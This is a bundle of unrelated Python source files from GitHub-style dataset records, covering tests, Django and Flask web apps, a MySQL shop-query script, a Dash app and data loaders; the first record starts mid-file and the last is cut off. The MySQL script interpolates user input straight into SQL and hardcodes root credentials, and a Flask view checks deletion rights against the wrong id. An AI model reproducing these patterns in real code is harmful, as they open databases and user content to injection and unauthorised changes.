that should be defined in `HandlerTests`\n subclasses to check whether two JSONs define the same dataflow.\n\n Parameters\n ----------\n path_to_json_files : Union[str, Path]\n Directory containing JSONs defining dataflow configuration\n\n Returns\n -------\n Callable\n Test whether parsing JSON to Pipeline Manager dataflow and back does\n not change underlying pipeline.\n \"\"\"\n pipeline_jsons, pipeline_jsons_names = load_json_files(path_to_json_files)\n\n @pytest.mark.parametrize(\n \"pipeline_json\", pipeline_jsons, ids=pipeline_jsons_names\n )\n def test_equivalence(self, pipeline_json, handler):\n dataflow = handler.create_dataflow(pipeline_json)\n status, result_json = handler.parse_dataflow(dataflow)\n if not status:\n pytest.xfail(\n \"JSON file is incompatible with Pipeline Manager\\n\\n\"\n f\"Source scenario:\\n{json.dumps(pipeline_json, indent=4)}\\n\\n\"\n f\"Status: {status}\\n\\n\"\n )\n assert self.equivalence_check(result_json, pipeline_json), (\n \"Equivalence test failed.\\n\\n\"\n f\"Source JSON:\\n{json.dumps(pipeline_json, indent=4)}\\n\\n\"\n f\"Result JSON:\\n{json.dumps(result_json, indent=4)}\\n\\n\"\n )\n\n return test_equivalence\n\n\n@pytest.mark.usefixtures(\"mock_environment\")\nclass HandlerTests(ABC):\n @pytest.fixture\n def dataflow_json(self) -> Dict:\n \"\"\"\n Example of dataflow in Pipeline Manager Format.\n \"\"\"\n return {\n \"graph\": {\n \"nodes\": self.dataflow_nodes,\n \"connections\": self.dataflow_connections,\n \"inputs\": {},\n \"outputs\": {},\n },\n \"graphTemplates\": {},\n }\n\n @pytest.fixture(scope=\"class\")\n @abstractmethod\n def handler(self) -> BaseDataflowHandler:\n \"\"\"\n Creates subclass of BaseDataflowHandler.\n \"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def equivalence_check(self, dataflow1, dataflow2):\n \"\"\"\n Method that checks whether two JSON defining dataflow in a specific\n Kenning format are equivalent (define the same dataflow).\n \"\"\"\n raise NotImplementedError\n\n def test_parse_dataflow(self, dataflow_json, handler):\n \"\"\"\n Test for `parse_dataflow`. Does not check the validity of output,\n only if the parsing ended successfully.\n \"\"\"\n status, _ = handler.parse_dataflow(dataflow_json)\n assert status\n\n @pytest.mark.xdist_group(name=\"use_resources\")\n def test_validate_dataflow(self, dataflow_json, handler):\n \"\"\"\n Test whether the output of `parse_dataflow` can be successfully parsed\n using `parse_json` method.\n \"\"\"\n _, pipeline_json = handler.parse_dataflow(dataflow_json)\n pipeline = handler.parse_json(pipeline_json)\n handler.destroy_dataflow(pipeline)\n","repo_name":"antmicro/kenning","sub_path":"kenning/tests/pipeline_manager/handler_tests.py","file_name":"handler_tests.py","file_ext":"py","file_size_in_byte":5183,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"31"} +{"seq_id":"30508436701","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'vela.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n\n url(r'^admin/', include(admin.site.urls)),\n url(r'^ckeditor/', include('ckeditor.urls')),\n url(r'^account/', include('account.urls')),\n url(r'', include('keyvela.urls', app_name='keyvela')),\n url(r'', include('presentation.urls', app_name='presentation')),\n\n)\n","repo_name":"opendream/vela","sub_path":"vela/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8192083630","text":"from unittest.mock import call, patch\r\n\r\nfrom src.models.nn import NeuralNetwork\r\nfrom src.objects.bird import Bird\r\n\r\n\r\nclass TestBird:\r\n def test_given_bird_config_when_creating_bird_then_check_bird_has_correct_properties(\r\n self, mock_bird, mock_config, mock_screen_size\r\n ):\r\n assert isinstance(mock_bird, Bird)\r\n assert mock_bird.GRAV == mock_config.BIRD[\"grav\"]\r\n assert mock_bird.LIFT == mock_config.BIRD[\"lift\"]\r\n assert mock_bird.MIN_VELOCITY == mock_config.BIRD[\"min_velocity\"]\r\n assert mock_bird.start_y == mock_config.BIRD[\"y\"]\r\n assert mock_bird.velocity == 0\r\n assert mock_bird.alive is True\r\n assert mock_bird.count == 0\r\n assert mock_bird.screen_width == mock_screen_size[0]\r\n assert mock_bird.screen_height == mock_screen_size[1]\r\n assert isinstance(mock_bird.nn, NeuralNetwork)\r\n\r\n def test_given_bird_when_resetting_then_check_bird_properties_reset_correctly(self, mock_bird, mock_config):\r\n mock_bird.update([])\r\n mock_bird.kill()\r\n mock_bird.reset()\r\n\r\n assert mock_bird.y == mock_config.BIRD[\"y\"]\r\n assert mock_bird.velocity == 0\r\n assert mock_bird.count == 0\r\n assert mock_bird.alive\r\n\r\n def test_given_bird_when_killing_bird_then_check_bird_not_alive(self, mock_bird):\r\n mock_bird.kill()\r\n\r\n assert not mock_bird.alive\r\n\r\n @patch(\"src.objects.bird.pygame.draw.rect\")\r\n def test_given_bird_when_drawing_bird_then_check_bird_drawn(self, mock_draw_rect, mock_bird):\r\n mock_bird.draw()\r\n\r\n assert mock_draw_rect.call_count == 1\r\n assert mock_draw_rect.has_calls(\r\n call(mock_bird.screen, mock_bird.color, mock_bird),\r\n )\r\n\r\n def test_given_dead_bird_when_updating_bird_then_check_update_returns_early(self, mock_bird):\r\n mock_bird.kill()\r\n assert mock_bird.update([]) is None\r\n\r\n @patch(\"src.objects.bird.NeuralNetwork.feedforward\")\r\n def test_given_bird_when_not_jumping_then_check_bird_has_correct_velocity(\r\n self, mock_feedforward, mock_bird, mock_config\r\n ):\r\n mock_feedforward.return_value = [0, 1]\r\n\r\n mock_bird.update([])\r\n\r\n assert mock_bird.velocity == mock_config.BIRD[\"grav\"]\r\n assert mock_bird.y == mock_config.BIRD[\"y\"] + mock_bird.velocity\r\n\r\n @patch(\"src.objects.bird.NeuralNetwork.feedforward\")\r\n def test_given_bird_when_jumping_then_check_bird_has_correct_velocity(\r\n self, mock_feedforward, mock_bird, mock_config\r\n ):\r\n mock_feedforward.return_value = [1, 0]\r\n\r\n mock_bird.update([])\r\n\r\n assert mock_bird.velocity == max(\r\n mock_config.BIRD[\"min_velocity\"], mock_config.BIRD[\"grav\"] + mock_config.BIRD[\"lift\"]\r\n )\r\n assert mock_bird.y == mock_config.BIRD[\"y\"] + mock_bird.velocity\r\n\r\n @patch(\"src.objects.bird.Bird.jump\")\r\n @patch(\"src.objects.bird.NeuralNetwork.feedforward\")\r\n def test_given_bird_when_jumping_then_check_bird_jump_called(self, mock_feedforward, mock_jump, mock_bird):\r\n mock_feedforward.return_value = [1, 0]\r\n\r\n mock_bird.update([])\r\n\r\n assert mock_jump.call_count == 1\r\n\r\n @patch(\"src.objects.bird.Bird.jump\")\r\n @patch(\"src.objects.bird.NeuralNetwork.feedforward\")\r\n def test_given_bird_when_not_jumping_then_check_bird_jump_not_called(self, mock_feedforward, mock_jump, mock_bird):\r\n mock_feedforward.return_value = [0, 1]\r\n\r\n mock_bird.update([])\r\n\r\n assert mock_jump.call_count == 0\r\n\r\n @patch(\"src.objects.bird.Bird.kill\")\r\n def test_given_bird_offscreen_when_checking_offscreen_then_check_offscreen_is_true(self, mock_kill, mock_bird):\r\n mock_bird.y = -1\r\n assert mock_bird.offscreen\r\n\r\n mock_bird.y = mock_bird.screen_height - mock_bird.height + 1\r\n assert mock_bird.offscreen\r\n\r\n mock_bird.update([])\r\n\r\n assert mock_kill.call_count == 1\r\n\r\n @patch(\"src.objects.bird.Bird.kill\")\r\n def test_given_bird_not_offscreen_when_checking_offscreen_then_check_offscreen_is_false(self, mock_kill, mock_bird):\r\n mock_bird.y = mock_bird.screen_height / 2\r\n assert not mock_bird.offscreen\r\n\r\n mock_bird.update([])\r\n\r\n assert mock_kill.call_count == 0\r\n\r\n @patch(\"src.objects.bird.NeuralNetwork.crossover\")\r\n def test_given_two_mock_birds_when_performing_crossover_then_check_bird_nn_crossover_called(\r\n self, mock_crossover, mock_bird\r\n ):\r\n mock_bird.crossover(mock_bird, mock_bird, 1)\r\n\r\n assert mock_crossover.call_count == 1\r\n assert mock_crossover.has_calls(\r\n call(mock_bird.nn, mock_bird.nn, 1),\r\n )\r\n\r\n @patch(\"src.objects.bird.NeuralNetwork.apply\")\r\n def test_given_bird_when_applying_then_check_bird_nn_apply_called(self, mock_apply, mock_bird):\r\n mock_apply.return_value = [1, 0]\r\n\r\n mock_bird.apply()\r\n\r\n assert mock_apply.call_count == 1\r\n\r\n def test_given_mock_count_when_calculating_score_then_check_bird_has_correct_score(self, mock_bird):\r\n mock_count = 3601\r\n mock_bird.count = mock_count\r\n\r\n assert mock_bird.score == int(mock_count / 60)\r\n assert mock_bird.fitness == int(mock_count / 60) ** 2\r\n\r\n @patch(\"src.utils.pipe_utils.get_closest_pipe\")\r\n @patch(\"src.objects.bird.Bird.collide_with_pipe\")\r\n def test_given_bird_and_pipe_when_colliding_with_pipe_then_check_bird_dies(\r\n self, mock_collide_pipe, mock_closest_pipe, mock_bird, mock_pipe\r\n ):\r\n mock_collide_pipe.return_value = True\r\n mock_closest_pipe.return_value = mock_pipe\r\n\r\n mock_bird.update([mock_pipe])\r\n assert not mock_bird.alive\r\n\r\n @patch(\"src.utils.pipe_utils.get_closest_pipe\")\r\n @patch(\"src.objects.bird.Bird.collide_with_pipe\")\r\n def test_given_bird_and_pipe_when_not_colliding_with_pipe_then_check_bird_lives(\r\n self, mock_collide_pipe, mock_closest_pipe, mock_bird, mock_pipe\r\n ):\r\n mock_collide_pipe.return_value = False\r\n mock_closest_pipe.return_value = mock_pipe\r\n\r\n mock_bird.update([mock_pipe])\r\n assert mock_bird.alive\r\n","repo_name":"javidahmed64592/neuroevolution-flappy-bird","sub_path":"tests/objects/test_bird.py","file_name":"test_bird.py","file_ext":"py","file_size_in_byte":6152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73601897048","text":"from flask import render_template, request, redirect, url_for, abort,flash\nfrom ..requests import get_blogQuotes\nfrom . import main\nfrom ..models import User, Post, Comment, Like\nfrom flask_login import login_required, current_user\nfrom datetime import datetime\nfrom .. import db\nfrom .forms import UpdateProfile\n\n@main.route('/')\ndef index():\n '''\n '''\n blogQuote =get_blogQuotes()\n title = 'Welcome to My Blog'\n return render_template('index.html',title = title, blogQuote=blogQuote)\n \n@main.route('/home')\n@login_required\ndef home():\n posts = Post.query.all()\n return render_template(\"home.html\" , user=current_user,posts=posts)\n\n@main.route('/create-post', methods=['GET', 'POST'])\n@login_required\ndef create_post():\n if request.method == 'POST':\n text = request.form.get('text')\n if not text:\n flash('Post cannot be empty', category='error')\n else:\n post = Post(text=text, author=current_user.id)\n db.session.add(post)\n db.session.commit()\n flash('Post created!', category='success')\n return redirect(url_for('main.home'))\n\n return render_template('create_post.html', user=current_user) \n\n@main.route('/delete-post/')\n@login_required\ndef delete_post(id):\n post = Post.query.filter_by(id=id).first()\n if not post:\n flash(\"Post does not exist.\", category='error')\n elif current_user.id != post.id:\n flash(\"You do not have permission to delete this post.\", category='error')\n else:\n db.session.delete(post)\n db.session.commit()\n flash('Post deleted', category='success')\n return redirect(url_for('main.home')) \n\n\n@main.route('/posts/')\n@login_required\ndef posts(username):\n user = User.query.filter_by(username=username).first()\n\n if not user:\n flash('No user with that username exists.', category='error')\n return redirect(url_for('main.home'))\n\n posts = user.posts\n return render_template('posts.html', user=current_user, posts=posts, username=username)\n\n@main.route('/create-comment/',methods=['POST'])\n@login_required\ndef create_comment(post_id):\n text = request.form.get('text')\n\n if not text:\n flash('Comment cannot be empty')\n else: \n post = Post.query.filter_by(id=post_id)\n if post:\n comment = Comment(text=text, author=current_user.id, post_id=post_id)\n db.session.add(comment)\n db.session.commit()\n else:\n flash('post does not exist.', category='error') \n return redirect(url_for('main.home')) \n\n@main.route('/delete-comment/')\n@login_required\ndef delete_comment(comment_id):\n comment = Comment.query.filter_by(id=comment_id).first()\n\n if not comment:\n flash(\"Comment does not exist.\", category='error')\n elif current_user.id != comment.author and current_user.id != comment.post.author:\n flash(\"You do not have permission to delete this comment,\", category='error')\n else:\n db.session.delete(comment)\n db.session.commit()\n return redirect(url_for('main.home')) \n\n@main.route('/like-post/', methods=['GET'])\n@login_required\ndef like(post_id):\n post = Post.query.filter_by(id=post_id)\n like = Like.query.filter_by(author=current_user.id, post_id=post_id).first()\n if not post:\n flash(\"Post does not exist\", category='error')\n elif like:\n db.session.delete(like)\n db.session.commit()\n else:\n like = Like(author=current_user.id, post_id=post_id) \n db.session.add(like)\n db.session.commit() \n return redirect(url_for('main.home')) \n\n\n@main.route('/user/')\ndef profile(uname):\n user = User.query.filter_by(username = uname).first()\n\n if user is None:\n abort(404)\n\n return render_template(\"profile/profile.html\", user = user)\n\n@main.route('/user//update',methods = ['GET','POST'])\n@login_required\ndef update_profile(uname):\n user = User.query.filter_by(username = uname).first()\n if user is None:\n abort(404)\n\n form = UpdateProfile()\n\n if form.validate_on_submit():\n user.bio = form.bio.data\n\n db.session.add(user)\n db.session.commit()\n\n return redirect(url_for('.profile',uname=user.username))\n\n return render_template('profile/update.html',form =form)\n\n","repo_name":"joey57/Personal-Blog","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41349311551","text":"from pymysql import connect\r\n\r\nconn = connect(host='localhost',port=3306,user='root',passwd='123456',database='biyesheji',charset='utf8')\r\n\r\ncur = conn.cursor()\r\n\r\nclass JD:\r\n def __init__(self):\r\n self.conn = connect(host='localhost', port=3306, user='root', passwd='123456', database='biyesheji', charset='utf8')\r\n\r\n self.cur = self.conn.cursor()\r\n def __del__(self):\r\n self.conn.close()\r\n self.cur.close()\r\n def show_type(self):\r\n sql = \"select distinct(cate_name) from goods;\"\r\n self.shuchu(sql)\r\n def shuchu(self,sql):\r\n cur.execute(sql)\r\n for i in cur.fetchall():\r\n print(i)\r\n def show_brand(self):\r\n\r\n sql = \"select distinct(brand_name) from goods;\"\r\n self.shuchu(sql)\r\n def show_all(self):\r\n sql = \"select * from goods;\"\r\n self.shuchu(sql)\r\n def search(self):\r\n num = input(\"输入查询的商品品牌\")\r\n\r\n sql = \"select * from goods where brand_name= '%s'\" % num\r\n self.shuchu(sql)\r\n def insert(self):\r\n sql = \"insert into goods values(27,'250','平板','亚索',9999,1,0)\"\r\n self.cur.execute(sql)\r\n self.conn.commit()\r\n def run(self):\r\n while True:\r\n print(\"京东商城\")\r\n print(\"1.所有商品信息\")\r\n print(\"2.所有商品分类\")\r\n print(\"3.所有商品品牌分类\")\r\n print(\"4.查询指定商品信息\")\r\n num = int(input(\"输入你的操作\"))\r\n if num == 1:\r\n self.show_all()\r\n elif num == 2:\r\n self.show_type()\r\n elif num == 3:\r\n self.show_brand()\r\n elif num == 4:\r\n self.search()\r\n else:\r\n print(\"输入有误重新输入\")\r\nif __name__ == '__main__':\r\n jd = JD()\r\n jd.run()\r\n\r\n jd.__del__()\r\n\r\n\r\n\r\n\r\n","repo_name":"bbestr/python","sub_path":"数据库/jindong.py","file_name":"jindong.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23376713992","text":"import yaml\n\nimport pandas as pd\n\nfrom utils.misc.yaml import read_yaml\n\n\ndef get_cited(csv_fp):\n \"\"\"\n Read csv, returns column named \"cited\"\n :param csv_fp:\n :return:\n \"\"\"\n df = pd.read_csv(csv_fp, skip_blank_lines=True)\n return df[\"cited\"]\n\n\ndef filter_GATT(list_of_str):\n str2list = list_of_str.split(\"'\")[1::2]\n print(str2list)\n new_list = [elem.split(\".\")[1].split(\",\") for elem in str2list\n if elem[0:4] == 'GATT']\n print(new_list)\n return new_list\n\n\ndef count_cited(dict_for_count, list_of_art_numb):\n \"\"\"\n Input is list of article numbers in Roman, e.g., [' X', ' XI', ' XVIII']\n :param dict_for_count:\n :param list_of_art_numb:\n :return:\n \"\"\"\n\n for elem in list_of_art_numb:\n if elem in dict_for_count.keys():\n dict_for_count[elem] += 1\n elif elem not in dict_for_count.keys():\n dict_for_count[elem] = 1\n return dict_for_count\n\n\ndef write_yaml(target_dict, filename):\n \"\"\"\n Write .yaml file with key/value of target dict, with filename given.\n :param target_dict:\n :return:\n \"\"\"\n with open(filename, 'w') as outfile:\n yaml.dump(target_dict, outfile, default_flow_style=False)\n\n\ndef sort_yaml(filename):\n \"\"\"\n Sort the .yaml file in order of big value for keys\n :param filename:\n :return:\n \"\"\"\n\n\ndef main():\n cited = dict()\n\n for idx, elem in enumerate(get_cited(\"./wto.csv\")):\n cited_art_numbs = filter_GATT(get_cited(\"./wto.csv\")[idx])\n if len(cited_art_numbs) != 0:\n cited_art_numbs = cited_art_numbs[0]\n cited = count_cited(cited, cited_art_numbs)\n else:\n pass\n\n write_yaml(cited, \"./stat.yaml\")\n\n\ndef sort_yaml(yaml_path):\n \"\"\"\n Read yaml path then sort it by value, then print.\n :param yaml_path:\n :return: None. only prints.\n \"\"\n \"\"\"\n stream = open(yaml_path, \"r\")\n docs = yaml.load_all(stream)\n result = dict()\n for doc in docs:\n for k,v in doc.items():\n result[k] = v\n\n sorted_result = sorted(result.items(), key=lambda kv: kv[1], reverse=True)\n print(sorted_result)\n\n\nif __name__ == \"__main__\":\n # main()\n # sort_yaml(\"stat.yaml\")\n info = read_yaml(\"../info.yaml\")\n panel = info['Panel']['ds_numb']\n appellate = info['AppellateBody']['ds_numb']\n linked = info['LinkedPanel']\n print(linked)\n","repo_name":"syyunn/DeepWTO","sub_path":"prep/stats/stat.py","file_name":"stat.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"31"} +{"seq_id":"74951008409","text":"import covid_app.callbacks\nimport covid_app.layout\nimport logging\n\nimport dash\nfrom coviddata import COVIDData\nfrom populationdata import PopulationData\n\nlogger = logging.getLogger(__name__)\n\n# Application handle\napp = None\ncovid_data = None\npopulation_data = None\n\n\ndef create():\n \"\"\"Create the Dash application and register the layout and callbacks\n\n Returns:\n Dash -- A Dash application object\n \"\"\"\n global app\n\n logger.info('Creating Dash application')\n app = dash.Dash('COVID-19')\n covid_app.layout.create_layout(app)\n covid_app.callbacks.register_callbacks(app)\n\n return app\n\n\ndef set_data(input_covid_data: COVIDData, input_pop_data: PopulationData):\n \"\"\"Pass data into the application to permit access to Dash components\n\n Arguments:\n input_covid_data {COVIDData} -- COVID-19 datasets\n input_pop_data {PopulationData} -- Population datasets\n \"\"\"\n global covid_data\n global population_data\n\n covid_data = covid_data\n population_data = input_pop_data\n \n covid_app.callbacks._set_data(input_covid_data, input_pop_data)\n covid_app.layout._set_data(input_covid_data, input_pop_data)\n\n\ndef start():\n \"\"\"Start the Dash application\n\n Returns:\n Server -- A flask server object\n \"\"\"\n global app\n\n if app != None:\n logger.debug('Starting flask server')\n \n return app.server\n \n return None\n","repo_name":"IyadKandalaft/COVID19-Plotter","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18519141500","text":"import xpan\nfrom xpan import ApiException\nfrom xpan.api import userinfo_api\nfrom ..common.errors import fxerr\nfrom ..common.configuration import FxConfiguration\nfrom ..common.structs import FxUser, FxUserQuota\n\n\nclass FxUserApi:\n \"\"\"百度网盘用户信息API\n\n 初始��:\n\n >>> fx_conf = FxConfiguration(access_token=\"...\")\n >>> user_api = FxUserApi(fx_conf)\n\n 调用API:\n\n >>> err, data = user_api.get_user_quota()\n >>> if not err:\n >>> print(data)\n {'baidu_name': '...', ...}\n\n Args:\n conf (FxConfiguration): access_token属性不能为空\n \"\"\"\n\n def __init__(self, conf: FxConfiguration):\n self.access_token = conf.access_token\n\n def get_user_info(self) -> tuple[str | None, FxUser | None]:\n \"\"\"获取当前用户信息\n\n Returns:\n tuple[str | None, FxUser | None]: 错误信息以及用户信息\n \"\"\"\n with xpan.ApiClient() as api_client:\n api = userinfo_api.UserinfoApi(api_client)\n try:\n res = api.xpannasuinfo(access_token=self.access_token)\n if res[\"errno\"] != 0:\n return fxerr[res[\"errno\"]], None\n return None, FxUser(res)\n except ApiException as e:\n return e.body, None\n\n def get_user_quota(self) -> tuple[str | None, FxUserQuota | None]:\n \"\"\"获取当前用户网盘容量信息\n\n Returns:\n tuple[str | None, FxUserQuota | None]: 错误信息以及容量信息\n \"\"\"\n with xpan.ApiClient() as api_client:\n api = userinfo_api.UserinfoApi(api_client)\n try:\n res = api.apiquota(access_token=self.access_token)\n if res[\"errno\"] != 0:\n return fxerr[res[\"errno\"]], None\n return None, FxUserQuota(res)\n except ApiException as e:\n return e.body, None\n","repo_name":"AmanoRenard/FastXpan","sub_path":"fastxpan/api/fxUserApi.py","file_name":"fxUserApi.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25326076295","text":"from django.core.management.base import BaseCommand\n\nfrom checkweb.models import *\nfrom django.utils import timezone\nfrom django.conf import settings\nimport os\n\n\nclass Command(BaseCommand):\n help = \"\"\"Create test URLs with configs\"\"\"\n\n #def add_arguments(self, parser):\n # parser.add_argument(\n # \"-d\",\n # \"--delete\",\n # help=\"Wipe out existing content before generating new.\",\n # action=\"store_true\")\n\n def handle(self, *args, **options):\n\n #if options.get('delete'):\n # pass\n\n print(\"INFO: Hopper Starting...\")\n\n WatchUrl.objects.create(\n description='simple static page only',\n domain='http://heartbleed.com/',\n active_monitor = False,\n active_discover_urls = False,\n active_tor_proxy = False,\n )\n print(\"DEBUG: testwatch1 created\")\n\n WatchUrl.objects.create(\n description='Basic HTTP Auth - Unauthorized',\n domain='http://246.s.hostens.cloud/',\n active_monitor = False,\n active_discover_urls = False,\n active_tor_proxy = False,\n )\n print(\"DEBUG: testwatch2 created\")\n\n WatchUrl.objects.create(\n description='Redirect to 443',\n domain='http://larsjung.de/h5ai/',\n active_monitor = False,\n active_discover_urls = False,\n active_tor_proxy = False,\n )\n print(\"DEBUG: testwatch3 created\")\n\n WatchUrl.objects.create(\n description='Redirect subpage',\n domain='http://www.h2database.com',\n active_monitor = False,\n active_discover_urls = False,\n active_tor_proxy = False,\n )\n print(\"DEBUG: testwatch4 created\")\n\n WatchUrl.objects.create(\n description='changing only content',\n domain='http://127.0.0.1/checkweb/test_reply?content=true',\n active_monitor = False,\n active_discover_urls = False,\n active_tor_proxy = False,\n )\n print(\"DEBUG: test_reply1 created\")\n\n WatchUrl.objects.create(\n description='changing only status code',\n domain='http://127.0.0.1/checkweb/test_reply?status=true',\n active_monitor = False,\n active_discover_urls = False,\n active_tor_proxy = False,\n )\n print(\"DEBUG: test_reply1 created\")\n\n WatchUrl.objects.create(\n description='changing both status code and content',\n domain='http://127.0.0.1/checkweb/test_reply?status=true&content=true',\n active_monitor = False,\n active_discover_urls = False,\n active_tor_proxy = False,\n )\n print(\"DEBUG: test_reply2 created\")\n\n\n print(\"INFO: Hopper DONE\")\n\n","repo_name":"petermat/HTTP-Diff-Bot","sub_path":"checkweb/management/commands/hopper.py","file_name":"hopper.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"35108051469","text":"from functions.insert import insertMatch, insertData, insertPlayerData, insertMatchData\nimport mongomock\n\ndb = mongomock.MongoClient().db\nmatch = {\"match_id\": 6674091014}\nplayerdata = [\n {\n \"hero_id\": 1,\n \"lane_role\": 1,\n \"ml_lane_role\": 1,\n \"net_worth\": 10000,\n \"is_radiant\": True,\n \"last_hits\": 300,\n \"obs_placed\": 2,\n \"gpm\": 500\n },\n {\n \"hero_id\": 2,\n \"lane_role\": 1,\n \"ml_lane_role\": 5,\n \"net_worth\": 5000,\n \"is_radiant\": True,\n \"last_hits\": 50,\n \"obs_placed\": 2,\n \"gpm\": 500\n },\n {\n \"hero_id\": 3,\n \"lane_role\": 2,\n \"ml_lane_role\": 2,\n \"net_worth\": 15000,\n \"is_radiant\": True,\n \"last_hits\": 200,\n \"obs_placed\": 2,\n \"gpm\": 500\n },\n {\n \"hero_id\": 4,\n \"lane_role\": 3,\n \"ml_lane_role\": 4,\n \"net_worth\": 7800,\n \"is_radiant\": True,\n \"last_hits\": 15,\n \"obs_placed\": 2,\n \"gpm\": 500\n },\n {\n \"hero_id\": 5,\n \"lane_role\": 3,\n \"ml_lane_role\": 3,\n \"net_worth\": 12000,\n \"is_radiant\": True,\n \"last_hits\": 120,\n \"obs_placed\": 2,\n \"gpm\": 500\n },\n {\n \"hero_id\": 6,\n \"lane_role\": 1,\n \"ml_lane_role\": 1,\n \"net_worth\": 11200,\n \"is_radiant\": False,\n \"last_hits\": 350,\n \"obs_placed\": 2,\n \"gpm\": 500\n },\n {\n \"hero_id\": 7,\n \"lane_role\": 1,\n \"ml_lane_role\": 5,\n \"net_worth\": 6150,\n \"is_radiant\": False,\n \"last_hits\": 30,\n \"obs_placed\": 2,\n \"gpm\": 500\n },\n {\n \"hero_id\": 8,\n \"lane_role\": 2,\n \"ml_lane_role\": 2,\n \"net_worth\": 17500,\n \"is_radiant\": False,\n \"last_hits\": 250,\n \"obs_placed\": 2,\n \"gpm\": 500\n },\n {\n \"hero_id\": 9,\n \"lane_role\": 3,\n \"ml_lane_role\": 4,\n \"net_worth\": 6300,\n \"is_radiant\": False,\n \"last_hits\": 20,\n \"obs_placed\": 2,\n \"gpm\": 500\n },\n {\n \"hero_id\": 10,\n \"lane_role\": 3,\n \"ml_lane_role\": 3,\n \"net_worth\": 14200,\n \"is_radiant\": False,\n \"last_hits\": 130,\n \"obs_placed\": 2,\n \"gpm\": 500\n },\n ]\n\ndef test_insertData():\n data = [match, playerdata]\n insertData(db, data, 6674091014, 80)\n assert list(db[\"immortalmatches_data\"].find())[0] == match\n assert list(db[\"immortalmatches_players\"].find()) == playerdata\n\n\ndef test_insertPlayerData():\n\n insertPlayerData(db, playerdata, \"crusader\")\n assert list(db[\"crusadermatches_players\"].find()) == playerdata\n\n\ndef test_insertMatchData():\n coll = \"crusader\"\n insertMatchData(db, match, coll)\n assert list(db[coll + \"matches_data\"].find())[0] == match\n\n\ndef test_insertMatch():\n coll = \"allmatches\"\n insertMatch(db, match, coll)\n assert list(db[coll].find())[0] == match\n","repo_name":"Capstone-Data2/backend","sub_path":"functions/tests/test_insert.py","file_name":"test_insert.py","file_ext":"py","file_size_in_byte":3365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4369187446","text":"\"\"\"The dataloader for UBFC datasets.\n\nDetails for the UBFC-RPPG Dataset see https://sites.google.com/view/ybenezeth/ubfcrppg.\nIf you use this dataset, please cite this paper:\nS. Bobbia, R. Macwan, Y. Benezeth, A. Mansouri, J. Dubois, \"Unsupervised skin tissue segmentation for remote photoplethysmography\", Pattern Recognition Letters, 2017.\n\"\"\"\nimport glob\nimport os\nimport re\nfrom multiprocessing import Pool, Process, Value, Array, Manager\n\nimport cv2\nimport numpy as np\nfrom dataset.data_loader.BaseLoader import BaseLoader\nfrom tqdm import tqdm\nimport pandas as pd\nfrom datetime import datetime\n\n\nclass PABPLoader_Raw(BaseLoader):\n \"\"\"The data loader for the UBFC dataset.\"\"\"\n\n def __init__(self, name, data_path, config_data):\n \"\"\"Initializes an UBFC dataloader.\n Args:\n data_path(str): path of a folder which stores raw video and bvp data.\n e.g. data_path should be \"RawData\" for below dataset structure:\n -----------------\n RawData/\n | |-- subject1/\n | |-- vid.avi\n | |-- ground_truth.txt\n | |-- subject2/\n | |-- vid.avi\n | |-- ground_truth.txt\n |...\n | |-- subjectn/\n | |-- vid.avi\n | |-- ground_truth.txt\n -----------------\n name(string): name of the dataloader.\n config_data(CfgNode): data settings(ref:config.py).\n \"\"\"\n super().__init__(name, data_path, config_data)\n\n def get_raw_data(self, data_path):\n \"\"\"Returns data directories under the path(For UBFC dataset).\"\"\"\n print(\"ET-{:d}_Gain{:d}_P*\".format(self.pabp_et, self.pabp_gain))\n data_dirs = glob.glob(data_path + os.sep + \"ET-{:d}_Gain{:d}_P*\".format(self.pabp_et, self.pabp_gain))\n if not data_dirs:\n raise ValueError(self.dataset_name + \" data paths empty!\")\n dirs = [{\"index\": re.search(\n 'Raw/ET-(?:\\d)_Gain(?:\\d)_P(\\d+)', data_dir).group(1), \"path\": data_dir} for data_dir in data_dirs]\n print(dirs)\n return dirs\n\n # def split_raw_data(self, data_dirs, begin, end):\n # \"\"\"Returns a subset of data dirs, split with begin and end values.\"\"\"\n # if begin == 0 and end == 1: # return the full directory if begin == 0 and end == 1\n # return data_dirs\n\n # file_num = len(data_dirs)\n # choose_range = range(int(begin * file_num), int(end * file_num))\n # data_dirs_new = []\n\n # for i in choose_range:\n # data_dirs_new.append(data_dirs[i])\n\n # return data_dirs_new\n\n def preprocess_dataset_subprocess(self, data_dirs, config_preprocess, i, file_list_dict):\n \"\"\" invoked by preprocess_dataset for multi_process.\"\"\"\n filename = os.path.split(data_dirs[i]['path'])[-1]\n saved_filename = data_dirs[i]['index']\n\n frame_fn = os.path.join(data_dirs[i]['path'],filename + \"_c270.avi\")\n frame_time_fn = os.path.join(data_dirs[i]['path'],filename + \"_c270_frames.csv\")\n bvps_fn = os.path.join(data_dirs[i]['path'],\"../../brght25\", filename + \"_c270.npz\")\n\n # ================================ #\n frame_time = pd.read_csv(frame_time_fn)\n VidObj = cv2.VideoCapture(frame_fn)\n\n frame_start = frame_time[\"times\"][0]\n frame_end = frame_time[\"times\"][frame_time.shape[0]-1]\n 